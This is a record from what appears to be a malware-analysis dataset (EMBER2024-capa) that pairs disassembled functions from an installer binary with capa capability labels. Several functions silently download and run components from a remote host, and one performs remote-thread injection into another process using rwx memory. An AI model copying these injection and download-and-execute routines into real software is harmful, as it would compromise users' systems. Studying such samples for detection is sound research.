joyce8/EMBER2024-capa huggingface dataset:
Function at 0x460a00
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474aab
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x224], ecx
push 0x20a
push 0
lea eax, [ebp - 0x21c]
push eax
call fcn.0042b580
add esp, 0xc
push 0
push 0x26
lea ecx, [ebp - 0x21c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x21c]
push edx
push str.prog
mov ecx, dword [ebp + 8]
call fcn.00418ec0
lea eax, [ebp - 0x21c]
push eax
call sym.Install_rocket.exe_int___cdecl_GetDesktopPath_wchar_t__
add esp, 4
lea ecx, [ebp - 0x21c]
push ecx
push str.desktop
mov ecx, dword [ebp + 8]
call fcn.00418ec0
lea edx, [ebp - 0x21c]
push edx
call sym.Install_rocket.exe_int___cdecl_GetProgramsPath_wchar_t__
add esp, 4
push 0x48a904
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 0x224]
add ecx, 0x6f0
push ecx
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x21c]
push eax
push 0x48a908
mov ecx, dword [ebp + 8]
call fcn.00418ec0
mov ecx, dword [ebp - 0x224]
add ecx, 0xbe8
call fcn.00409710
push eax
push str.myapp
mov ecx, dword [ebp + 8]
call fcn.00418ec0
call sym.Install_rocket.exe_int___cdecl_isWow64_void_
test eax, eax
je 0x460bc6
push 0x104
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea edx, [ebp - 0x21c]
push edx
push 0x48a930
mov ecx, dword [ebp + 8]
call fcn.00418ec0
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [ebp - 0x21c]
push ecx
push 0x48a93c
mov ecx, dword [ebp + 8]
call fcn.00418ec0
push 0
push 0x26
lea edx, [ebp - 0x21c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x220]
call fcn.004095e0
mov dword [ebp - 4], 0
push 0x48a94c
push str.__x86_
lea ecx, [ebp - 0x220]
call fcn.00418ec0
lea ecx, [ebp - 0x220]
call fcn.00409710
push eax
push 0x48a960
mov ecx, dword [ebp + 8]
call fcn.00418ec0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x220]
call fcn.004095a0
jmp 0x460c27
push 0x104
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea edx, [ebp - 0x21c]
push edx
push str.sys
mov ecx, dword [ebp + 8]
call fcn.00418ec0
lea eax, [ebp - 0x21c]
push eax
push str.sys64
mov ecx, dword [ebp + 8]
call fcn.00418ec0
push 0
push 0x26
lea ecx, [ebp - 0x21c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x21c]
push edx
push str.prog64
mov ecx, dword [ebp + 8]
call fcn.00418ec0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 4
Function at 0x460c50
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474ae3
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x49c00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jg 0x460c8b
jmp 0x460d18
mov ecx, dword [ebp - 0x14]
add ecx, 0xbe8
call fcn.00409710
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea ecx, [ebp - 0x10]
call fcn.004096c0
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0xbe8]
push eax
push 0x48a824
lea ecx, [ebp - 0x10]
push ecx
call fcn.00409d20
add esp, 0x10
push str._s__S__SILENT__silent__quiet__noreboot__verysilent__sp__norestart__q__qn__SilentInstall
lea ecx, [ebp - 0x18]
call fcn.004095e0
mov byte [ebp - 4], 1
push 0
push 0
lea ecx, [ebp - 0x18]
call fcn.00409710
push eax
lea ecx, [ebp - 0x10]
call fcn.00409710
push eax
call sym.Install_rocket.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.004095a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004095a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x462290
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474ce5
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x49c00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
add eax, 0xa10
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x4622d0
jmp 0x46236d
lea ecx, [ebp - 0x10]
call fcn.004096c0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
add ecx, 0xa10
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0xbe8]
push eax
push 0x48a514
lea ecx, [ebp - 0x10]
push ecx
call fcn.00409d20
add esp, 0x10
lea ecx, [ebp - 0x10]
call fcn.00409710
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x46235e
lea ecx, [ebp - 0x18]
call fcn.004096c0
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x10]
push edx
push str._s___s_
lea eax, [ebp - 0x18]
push eax
call fcn.00409d20
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x18]
call fcn.00409710
push eax
push str.regedit.exe
call sym.Install_rocket.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.004095a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004095a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x4634a0
Capabilities:
Check if file exists
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474dbe
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x220], ecx
push str.http:__hofosoft.cn_Components_
lea ecx, [ebp - 0x224]
call fcn.004095e0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x224]
call fcn.00414ea0
push 0x20a
push 0
lea ecx, [ebp - 0x21c]
push ecx
call fcn.0042b580
add esp, 0xc
push 0
push 0x1c
lea edx, [ebp - 0x21c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x48a104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x21c]
push ecx
call sym.Install_rocket.exe_int___cdecl_CreateDirTree_wchar_t_const__
add esp, 4
push 0x48a044
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x463582
push 0x48a11c
call sym.Install_rocket.exe_public:_static_class_CNsProcess____cdecl_CNsProcess::Instance_void_
mov ecx, eax
call sym.Install_rocket.exe_public:_void___thiscall_CNsProcess::KillProcess_wchar_t_const__
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x220]
cmp dword [edx + 4], 0
je 0x4635b2
push 0
mov eax, dword [ebp - 0x220]
mov ecx, dword [eax + 0xb4c]
push ecx
push 0x7ea
mov edx, dword [ebp - 0x220]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov ecx, dword [ebp - 0x220]
mov byte [ecx + 0xb45], 1
push 1
push sym.Install_rocket.exe_private:_static_void___stdcall_CNsInstaller::DownNotify_int__wchar_t_const___long_long___int64___long_long___int64___double_
push 0
lea edx, [ebp - 0x21c]
push edx
lea ecx, [ebp - 0x224]
call fcn.00409710
push eax
call sym.Install_rocket.exe_public:_static_class_CNsDownload____cdecl_CNsDownload::Instance_void_
mov ecx, eax
call sym.Install_rocket.exe_public:_int___thiscall_CNsDownload::GetHttpFile_wchar_t_const___wchar_t_const___int__void____stdcall___int__wchar_t_const___long_long___int64___long_long___int64___double___int_
mov eax, dword [ebp - 0x220]
movzx ecx, byte [eax + 0xb46]
test ecx, ecx
je 0x463605
push 0
mov ecx, dword [ebp - 0x220]
call sym.Install_rocket.exe_private:_void___thiscall_CNsInstaller::DoSetup_wchar_t_const__
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x224]
call fcn.004095a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 4
Function at 0x4636b0
Capabilities:
Check if file exists
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x214], ecx
push 0x20a
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.0042b580
add esp, 0xc
push 0
push 0x1c
lea ecx, [ebp - 0x210]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.hfinstall_nscomponent_setup.exe
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4637ab
cmp dword [ebp + 8], 0
je 0x463760
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x463746
push 0
push 1
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x210]
push eax
call sym.Install_rocket.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x46375e
push 0
push 1
push 0x48a0b4
lea ecx, [ebp - 0x210]
push ecx
call sym.Install_rocket.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x46379e
mov edx, dword [ebp - 0x214]
cmp dword [edx + 0xb4c], 0xfffffffe
jne 0x463786
push 5
push 1
push 0
lea eax, [ebp - 0x210]
push eax
call sym.Install_rocket.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x46379e
push 0
push 1
push 0x48a0bc
lea ecx, [ebp - 0x210]
push ecx
call sym.Install_rocket.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 4
Function at 0x4638e0
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x210], ecx
mov ecx, dword [ebp - 0x210]
add ecx, 0xbe8
call fcn.00409700
test eax, eax
jle 0x463913
jmp 0x463a00
mov eax, dword [ebp + 8]
add eax, 0x85c
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x4639b2
mov ecx, dword [ebp + 8]
add ecx, 0x85c
push ecx
mov ecx, dword [ebp - 0x210]
add ecx, 0xbe8
call fcn.004094f0
mov ecx, dword [ebp - 0x210]
add ecx, 0xbe8
call fcn.00409700
sub eax, 1
mov dword [ebp - 0x214], eax
mov edx, dword [ebp - 0x214]
push edx
mov ecx, dword [ebp - 0x210]
add ecx, 0xbe8
call fcn.0041dbb0
movzx eax, ax
cmp eax, 0x5c
jne 0x463998
movzx ecx, word [ebp - 0x214]
push ecx
mov ecx, dword [ebp - 0x210]
add ecx, 0xbe8
call fcn.0041dab0
mov edx, dword [ebp - 0x210]
add edx, 0xbe8
push edx
mov ecx, dword [ebp - 0x210]
call sym.Install_rocket.exe_private:_void___thiscall_CNsInstaller::ReplaceSysPath_class_ATL::CStringT_wchar_t__class_ATL::StrTraitATL_wchar_t__class_ATL::ChTraitsCRT_wchar_t_____
jmp 0x463a00
push 0x208
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.0042b580
add esp, 0xc
push 0
push 0x26
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x20c]
push eax
push 0x489eb0
mov ecx, dword [ebp - 0x210]
add ecx, 0xbe8
push ecx
call fcn.00409d20
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 4
Function at 0x4643e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
jmp 0x4643fb
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 4]
cmp edx, dword [ecx + 0x190]
jge 0x464441
push 8
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0042b580
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
push 1
push 8
lea edx, [ebp - 0x10]
push edx
call fcn.00436884
add esp, 0x10
push 1
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00436c9a
add esp, 0xc
jmp 0x4643f2
mov esp, ebp
pop ebp
ret 8

Function at 0x4645e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474f22
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x21c], ecx
mov ecx, dword [ebp - 0x21c]
add ecx, 0xb24
call fcn.004096c0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x21c]
add ecx, 0xb28
call fcn.004131a0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x21c]
add ecx, 0xb34
call fcn.004131a0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x21c]
add ecx, 0xbe4
call fcn.004096c0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x21c]
add ecx, 0xbe8
call fcn.004096c0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x21c]
add ecx, 0xbec
call fcn.004096c0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x21c]
add ecx, 0xcbc
call fcn.0041d5a0
mov byte [ebp - 4], 6
mov eax, dword [ebp - 0x21c]
mov byte [eax + 8], 0
mov ecx, dword [ebp - 0x21c]
mov byte [ecx + 0xbf0], 0
push 0x489e28
mov ecx, dword [ebp - 0x21c]
add ecx, 0xb24
call fcn.004094f0
push 0x489e2c
mov ecx, dword [ebp - 0x21c]
add ecx, 0xbec
call fcn.004094f0
mov edx, dword [ebp - 0x21c]
mov dword [edx + 4], 0
mov eax, dword [ebp - 0x21c]
mov byte [eax + 0xb40], 0
mov ecx, dword [ebp - 0x21c]
mov byte [ecx + 0xb41], 0
mov edx, dword [ebp - 0x21c]
mov byte [edx + 0xb42], 0
mov eax, dword [ebp - 0x21c]
mov byte [eax + 0xb43], 0
mov ecx, dword [ebp - 0x21c]
mov byte [ecx + 0xb44], 0
mov edx, dword [ebp - 0x21c]
mov byte [edx + 0xb45], 0
mov eax, dword [ebp - 0x21c]
mov byte [eax + 0xb46], 0
mov ecx, dword [ebp - 0x21c]
mov byte [ecx + 0xb50], 0
mov edx, dword [ebp - 0x21c]
mov dword [edx + 0xb58], 0
push 0xc8
push 0
mov eax, dword [ebp - 0x21c]
add eax, 0xbf2
push eax
call fcn.0042b580
add esp, 0xc
push 0x208
push 0
lea ecx, [ebp - 0x218]
push ecx
call fcn.0042b580
add esp, 0xc
push 0
push 0x1c
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x489e30
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x218]
push ecx
call sym.Install_rocket.exe_int___cdecl_CreateDirTree_wchar_t_const__
add esp, 4
lea edx, [ebp - 0x218]
push edx
mov ecx, dword [ebp - 0x21c]
add ecx, 0xbe4
call fcn.004094f0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret
Function at 0x4648a0
Capabilities:
Check if file exists
Get common file path
Get program files directory
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x620], ecx
push 0x208
push 0
lea eax, [ebp - 0x414]
push eax
call fcn.0042b580
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x414]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x489ea0
lea edx, [ebp - 0x414]
push edx
call fcn.00434296
add esp, 8
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0
jne 0x46490d
xor al, al
jmp 0x464a74
lea eax, [ebp - 0x62c]
push eax
push 0x489ea8
push 0x1f41
call sym.Install_rocket.exe_int___cdecl_NsResGetBuff_int__wchar_t_const___void__
add esp, 0xc
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0
jne 0x464990
push 0xb00
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.0042b580
add esp, 0xc
push 0x208
push 0
lea edx, [ebp - 0x61c]
push edx
call fcn.0042b580
add esp, 0xc
push 0
push 0x26
lea eax, [ebp - 0x61c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0x61c]
push ecx
mov ecx, dword [ebp - 0x620]
add ecx, 0xbe8
call fcn.004094f0
xor al, al
jmp 0x464a74
push 0
mov edx, dword [ebp - 0x62c]
push edx
mov eax, dword [ebp - 0x624]
push eax
call fcn.00436c9a
add esp, 0xc
push 0xb00
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.0042b580
add esp, 0xc
mov edx, dword [ebp - 0x624]
push edx
push 1
push 0xb00
mov eax, dword [ebp + 8]
push eax
call fcn.00436884
add esp, 0x10
mov ecx, dword [ebp - 0x624]
push ecx
call fcn.0043436a
add esp, 4
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x620]
call sym.Install_rocket.exe_private:_void___thiscall_CNsInstaller::InitPath_struct_tagSetupInfo__
mov eax, dword [ebp - 0x620]
add eax, 0xb70
push eax
mov ecx, dword [ebp - 0x620]
call sym.Install_rocket.exe_public:_bool___thiscall_CNsInstaller::GetMoreInfo_struct_tagMorePacketInfo__
movzx ecx, al
test ecx, ecx
je 0x464a72
mov edx, dword [ebp - 0x620]
cmp dword [edx + 0xb78], 0
je 0x464a72
push 0x208
push 0
lea eax, [ebp - 0x20c]
push eax
call fcn.0042b580
add esp, 0xc
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [ebp + 8]
push edx
call sym.Install_rocket.exe_int___cdecl_GetInstallPath_wchar_t_const___wchar_t__
add esp, 8
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x464a72
lea ecx, [ebp - 0x20c]
push ecx
mov ecx, dword [ebp - 0x620]
add ecx, 0xbe8
call fcn.004094f0
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 4
Function at 0x464bd0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474f75
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x49c00c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0xae4], 0
je 0x464c71
lea ecx, [ebp - 0x10]
call fcn.004096c0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
add ecx, 0x4fc
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 0xbe8]
push eax
push 0x48a548
lea ecx, [ebp - 0x10]
push ecx
call fcn.00409d20
add esp, 0x10
lea ecx, [ebp - 0x10]
call fcn.00409710
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x464c62
push 5
push 0
push 0
lea ecx, [ebp - 0x10]
call fcn.00409710
push eax
call sym.Install_rocket.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004095a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret

Function at 0x465210
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 8], 0
je 0x465231
cmp dword [ebp + 0xc], 0
je 0x465231
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x1e
jl 0x465236
jmp 0x4652d4
push 0x294
call fcn.00429e1d
add esp, 4
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
push 0x294
push 0
mov edx, dword [ebp - 4]
push edx
call fcn.0042b580
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
add eax, 0x190
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
cmp dword [ebp + 0x10], 0
je 0x4652a8
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x64
jge 0x4652a8
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
add eax, 0x1cc
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x10]
push ecx
push 0
mov edx, dword [ebp - 4]
push edx
push 0x465030
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4652d4
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x468870
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax + 0x10], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax + 0x10], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0x67452301
mov edx, 4
shl edx, 0
mov eax, dword [ebp + 8]
mov dword [eax + edx], 0xefcdab89
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + ecx], 0x98badcfe
mov eax, 4
imul ecx, eax, 3
mov edx, dword [ebp + 8]
mov dword [edx + ecx], 0x10325476
mov esp, ebp
pop ebp
ret 4
Function at 0x468e00
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x90], ecx
push 1
push 0x48c954
call sym.Install_rocket.exe_int___cdecl_SetPrivilege_wchar_t_const___int_
add esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jne 0x468e49
xor al, al
jmp 0x468f92
mov dword [ebp - 0x84], 0x1000
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x84]
push ecx
push 0
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x468e7d
xor al, al
jmp 0x468f92
push 0
mov eax, dword [ebp - 0x84]
push eax
push 0x4691b0
mov ecx, dword [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x468ea9
xor al, al
jmp 0x468f92
push 0x6c
push 0
lea eax, [ebp - 0x70]
push eax
call fcn.0042b580
add esp, 0xc
push 0x48c978
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x88], eax
push 0x48c994
mov ecx, dword [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x70], eax
push 0x48c9a4
mov edx, dword [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x68]
push ecx
call fcn.004365c0
add esp, 8
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x36]
push eax
call fcn.004365c0
add esp, 8
push 0x40
push 0x1000
push 0x6c
push 0
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x468f36
xor al, al
jmp 0x468f92
push 0
push 0x6c
lea edx, [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x468f59
xor al, al
jmp 0x468f92
push 0
push 0
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x468f86
xor al, al
jmp 0x468f92
mov edx, dword [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 0xc

Function at 0x468fb0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret 4